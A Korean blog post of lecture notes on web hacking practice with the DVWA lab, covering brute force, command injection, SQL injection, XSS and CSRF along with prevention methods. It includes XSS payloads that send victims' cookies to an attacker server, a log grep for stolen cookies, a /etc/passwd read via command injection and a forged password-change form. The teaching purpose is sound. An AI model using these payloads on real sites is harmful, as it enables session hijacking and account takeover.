Software Maestro 멘토특강 - 보안과 웹해킹 실전반 2 (Brute force / command injection / SQL injection / XSS / CSRF / 웹 보안)

김정욱·2021년 5월 11일
0

SoftwareMaestro

목록 보기
3/6
post-thumbnail

본 멘토 특강의 내용은 AhnLab의 박수현 멘토님에 의해 진행되었습니다

DVWA

[ 소개 ]

  • DVWA(Damn Vulnerable Web Application)는 웹 모의해킹학습/연구 하기위해 개발된 환경
  • Apache / MySQL / PHP로 구성
  • 다양한 해킹 기법테스트할 수 있다
    • Brute force
    • Command Executuion
    • SQL Injection
    • XSS (Cross-Site Scripting)
    • CSRF (Cross-Site Request Forgery)
    • 등등

[ 환경 구축 ]

  • 순서
    • virtual box 설치
    • OWASP_Broken_Web_Apps_VM_1.2.ova 다운 & 설치
    • 접속
      : 기본적으로 root/owaspbwa 라는 id/password로 접속 가능
    • network 설정 (MacOS만)
      • 네트워크 추가
      • 네트워크 연결
    • ip확인(ifconfig) 및 로컬에서 접근
  • 세팅 완료
    : 로컬에서 해당 ip를 통해 DVWA 사이트를 이용하여 테스트

Brute force

( 설명 )

  • 특정한 암호를 풀기 위해 무차별 대입을 하는 것

( 실습 ) - Bruter라는 툴 (windows만 있음)

  • target 페이지(DVWA 서버 페이지) 확인
  • Target 설정 / Protocol 설정 등등
  • Target Page 설정 / 필드명 매칭 / 실패시 출력 메시지 입력(결과를 판단하기 위함) 등등
  • 공격 수행해서 password를 찾기

( 예방 방법 )

  • 로그인 block : 일정 로그인 시도 횟수를 넘으면 로그인을 막는 것
  • ip 차단 : 일정 로그인 시도 횟수를 넘으면 ip 차단
    --> 사용성이 많이 떨어짐
  • sleep 사용
    : 일정 로그인 시도 횟수를 넘으면 sleep을 통해 처리 시간을 지연시켜 시간을 많이 늘릴 수 있다
    (보통 sleep(3) 정도로 사용)

command injection(execution)

( 설명 )

  • 시스템 명령어를 삽입해서 조작하는 해킹 공격 기법
  • 보통 command injection 으로 많이 통용되어 불림
  • system(), exec() 와 같은 OS 시스템 명령어를 실행할 수 있는 함수를 통해서 사용자 제공 데이터 (양식 / 쿠키 / HTTP 헤더 등)System Shell에 전달해 명령어를 주입
  • 내부 데이터 탈취 및 손상 / 시스템 계정 정보 유출 / 백도어 설치 등등의 피해가 발생

( 선행 지식 - 명령어 )

  • ; --> 앞 명령어 실행 후 뒤 명령어 실행
  • && --> 앞 명령어가 참이면 뒤 명령어 실행
  • || --> 앞 명령어가 거짓이면 뒤 명령어 실행
  • | --> 앞 명령어의 결과뒤 명령어로 전달
  • echo [message] > [filename] --> 파일 생성

( 실습 )

  • /etc/passwd 파일 내용 출력하기
    : ; 명령어를 통해서 추가적인 명령어를 실행

( 예방 방법 )

  • Secure Coding
    • 입력값 검증 (의도한 입력이 아닌 경우 배제)
    • &, |, ; 등의 특수 기호 input시 차단
    • 멀티 라인 검사
  • Command Injection에 취약한 함수 사용하지 않기 (가급적)
  • 명령어 화이트 리스트 유지
    • 운영상 Command Injection에 취약한 함수를 사용해야 한다면 허용 가능한 명령어 리스트 유지

SQL Injection

( 개념 )

  • 입력값으로 SQL을 삽입해서 DB를 조작해서 데이터 유출다양한 피해를 주는 공격
  • 발생 조건
    • 웹 애플리케이션DB와 연동
    • 외부 입력값DB 쿼리문으로 사용
  • 공격 목적 및 영향
    • 인증 우회
      : 로그인 폼(Form)을 대상으로 공격을 수행해서 인증을 획득하는 것
    • DB 데이터 조작 및 유출
      : 개인정보기밀정보접근해서 데이터를 획득 / 조작 하는 것
    • 시스템 명령어 실행
      : 시스템 명령어를 통해 시스템 자원을 획득하여 데이터 유출, 삭제 등을 하는 것

( 공격 기법 )

  • (일반적인) SQL Injection
    • 쿼리 조건 무력화(Where 구문 우회)
      : 조건문을 기술하는 Where 조건반드시 참이 되도록 조작하는 것
      • 주석 삽입 (mysql : #)
        : 작은 따옴표(')String을 탈출한 후 주석인 #을 추가해서 뒤를 무시하게 만듬
      • 항상 참인 조건 추가
    • 고의적 에러 유발 후 정보 획득
      : 의도적으로 SQL 구문 에러를 유발하여 DB의 스키마 정보데이터획득
      • UNION 명령어 사용
        : 합쳐지는 두 테이블의 칼럼 갯수가 일치해야만 오류나지 않는 것을 이용해서 테이블 칼럼 개수를 찾을 수 있다(추가로, UNION을 이용해서 DB버전 / Table 정보 등등 DB 구조를 파악할 수도 있음)
    • 시스템 명령어 실행
  • Blind SQL Injection : (일반적인) SQL Injection이 통하지 않을 때 사용됨
    • Boolean-based Blind 공격
      : AND 조건논리식을 대입하여 참/거짓 여부를 통해 정보를 파악하는 공격
    • Time-based Blind 공격
      : 쿼리 지연을 유도해서 응답 시간에 걸리는 시간으로 참/거짓을 판별하여 정보를 파악하는 공격

( 예방 방법 )

  • 시큐어 코딩
    • 입력값 검증
      • 화이트 리스트 기반 검증
        : 특정 SQL 명령어입력될 수 없도록 필터링
    • Prepared Statement 사용
      • 미리 쿼리에 대한 컴파일을 수행하고 입력값을 나중에 넣는 방식
      • 비정상적인 입력이 들어와도 이미 정해진 쿼리 플랜(Query Plan)으로 SQLI를 막을 수 있음
    • Error Message 노출 금지
      : DB 오류 발생예외처리를 해서 사용자에게 메시지 박스 띄우게 하기
  • 웹 방화벽 사용
    : 웹 공격 방어특화되어 있는 웹 방화벽을 사용하는 것

XSS(Cross-Site Scripting)

( 설명 )

  • JavaScript와 같은 스크립트 언어삽입해서 개발자가 의도하지 않은 명령실행하도록 유도하는 공격 기법
  • 대부분의 다른 해킹 기법들과 다르게 클라이언트 즉, 사용자를 대상으로 한 공격이 많다
  • 사용자가 특정 웹 사이트를 신용하는 점이용하는 것
    (CSRF는 특정 웹 사이트가 사용자를 신용하는 것을 이용함 - 반대)
  • 보통 CSRF를 하기 위해 먼저 사용된다 (사용자 정보를 탈취한 후 이를 통해 서버 공격)
  • 공격 목적 및 영향
    • 인증 정보 획득 (쿠키 / 세션 / 토큰)
    • 시스템 관리자 권한 획득
    • 악성코드 다운로드 유도
      : 악성 스크립트가 있는 URL을 클릭하도록 유도악성 프로그램을 다운 받는 사이트Redirect하거나 트로이 목마 프로그램을 다운로드 하도록 유도
    • 거짓 페이지 노출
      : 특정 요소들을 가짜 요소로 대체하여 클릭하게 해서 페이지 변조를 만들어 개인정보 유출 등으로 사용

( 공격 기법 & 실습 )

  • Reflected XSS<script>document.location='http://192.168.56.101/cookie?'+document.cookie</script>(사용자의 쿠키 정보해커의 서버http request 날려서 세션 하이재킹을 수행)
    • 사용자에게 입력 받은 값서버에서 되돌려 주는 곳에서 발생(검색 결과 / 에러 메시지 등)
    • 1) 사용자URL 파라미터에 악성 스크립트를 포함시켜 서버에 요청하게 한다(메일 / 링크 등)
    • 2) 서버가 반사를 통해 악성 스크립트가 포함된 응답사용자에게 return
    • 3) 사용자의 브라우저에서 악성 스크립트가 실행
  • Stored(Persistent) XSS
    • 웹 서버악성 스크립트를 저장시켜 지속적으로 피해를 만드는 공격 기법
      ex) 게시판에 등록해서 열람한 사용자들의 세션을 하이재킹
    • 1) XSS에 취약한 웹사이트 게시판악의적인 스크립트가 담긴 글을 작성<img name="i"></img> <script>i.src="http://192.168.56.101/cookie.php?cookie="+document.cookie</script>
      --> 해커의 사이트cookie 정보rest api로 보내는 스크립트
    • 2) 해커access log를 확인해서 세션을 탈취
      cat /var/log/apache2/access.log | grep cookie
      or
      * tail -f /var/log/apache2/access_log

  • DOM based XSS
    • 사용자악의적인 스크립트가 포함된 URL서버에 요청해서 브라우저에 HTML이 렌더링 되는 단계에서 발생하는 공격 기법
    • 정상적인 서버의 응답에 있는 HTML악성 스크립트를 추가해서 실행하는 것

( 예방 방법 )

  • 시큐어 코딩
    • 입/출력 값 검증
    • 필터 적용
    • httponly 속성 On --> 직접 쿠키에 접근하지 못하게 막는 것
  • 웹 방화벽 사용

CSRF(Cross-Site Request Forgery)

( 설명 )

  • 특정 웹 사이트사용자를 신용하는 것이용한 공격 기법
  • 사용자서버에 보내는 요청을 위조해서 Server의 데이터변경 / 삭제 / 탈취 등을 함
  • XSS사용자가 target / CSRF서버가 Target
  • 사용자는 서버를 공격하기 위한 trigger 역할

( 실습 )

  • HTML Form을 확인한 후 임의의 HTML Form 생성
<form>
  action="http://서버의 비밀번호 변경 처리 주소" method="GET">
    New password; <br />
      /* value 속성으로 내가 바꾸고자 하는 값을 지정 */
    <input type="password" AUTOCOMPLETE="on" name="password_new" value="내가 원하는 값"> <br />
    <input type="password" AUTOCOMPLETE="on" name="password_conf" value="내가 원하는 값"> <br />
      <input type="submit" value="Change" name="Change">
</form>
  • 사용자에게 악성 스크립트 실행을 하게 함
    : change 버튼을 누르게 해서 강제로 비밀번호를 해커가 원하는 값으로 초기화

( 예방 방법 )

  • Referrer 검증
    • HTTP request의 referrer(HTTP 요청이 하이퍼링크를 통해 방문시 남는 흔적)을 이용해서 같은 도메인에서 오는 요청인지 검사
      (다른 도메인이면 차단)
    • 하지만, 같은 도메인에서 XSS 취약점이 있다면 CSRF 공격 역시 취약해 짐
      --> 도메인 검증상세하게 해야 함
  • Security Token 사용
    • 사용자 세션에 난수 값을 저장하고 매 요청시 마다 요청 파라미터 난수 값일치하는지 검사
    • Referrer 검증이 불가능 할 때 사용
    • 역시 같은 도메인 내 XSS 취약점이 있으면 CSRF도 공격에 취약해짐
  • CAPTCHA 사용
    • 어떠한 사용자실제 사람인지 컴퓨터 프로그램인지구별하기 위해 사용되는 방법
    • 텍스트 맞추기 / 이미지 선택하기 등등
  • Double-Submit cookie Pattern
    • Security Token 검증의 한 종류세션을 사용할 수 없는 환경에서 사용할 수 있는 방법입니다. 웹브라우저Same Origin 정책으로 인해 자바스크립트에서 타 도메인의 쿠키 값확인/수정하지 못한다는 것을 이용한 방어 기법

웹 보안을 위한 방법

  • 웹 서버 구축 보안 점검 체크리스트
    • kisa에서 제공하는 웹 서버 구축시 보안 점검 체크리스트를 확인
  • 웹 응용 프로그램의 보안 취약점 점검 도구
    • ZAProxy와 같은 툴을 이용해 웹 보안을 점검해볼 수 있다 (다른 툴도 많으니 찾아보자)
profile
Developer & PhotoGrapher

0개의 댓글